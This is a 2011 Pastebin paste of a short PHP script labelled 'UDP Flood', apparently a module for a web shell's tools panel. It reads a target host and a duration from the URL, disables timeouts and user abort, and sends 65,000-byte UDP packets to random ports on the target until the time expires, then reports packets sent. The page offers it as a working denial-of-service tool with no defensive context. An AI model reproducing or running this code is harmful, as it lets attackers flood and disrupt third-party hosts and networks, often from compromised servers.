Advertisement
Jamira40

Untitled

Jun 22nd, 2011
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. <?php
  2. if(isset($_GET['host'])&&isset($_GET['time'])){
  3. $packets = 0;
  4. ignore_user_abort(TRUE);
  5. set_time_limit(0);
  6. $exec_time = $_GET['time'];
  7. $time = time();
  8. $max_time = $time+$exec_time;
  9. $host = $_GET['host'];
  10. for($i=0;$i<65000;$i++){
  11. $out .= 'X';
  12. }
  13. while(1){
  14. $packets++;
  15. if(time() > $max_time){
  16. break;
  17. }
  18. $rand = rand(1,65000);
  19. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  20. if($fp){
  21. fwrite($fp, $out);
  22. fclose($fp);
  23. }
  24. }
  25. echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  26. echo '<br><br>
  27. <form action="'.$surl.'" method=GET>
  28. <input type="hidden" name="act" value="phptools">
  29. Host: <br><input type=text name=host><br>
  30. Length (seconds): <br><input type=text name=time><br>
  31. <input type=submit value=Go></form>';
  32. }else{ echo '<br><b>UDP Flood</b><br>
  33. <form action=? method=GET>
  34. <input type="hidden" name="act" value="phptools">
  35. Host: <br><input type=text name=host value=><br>
  36. Length (seconds): <br><input type=text name=time value=><br><br>
  37. <input type=submit value=Go></form>';
  38. }
  39. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement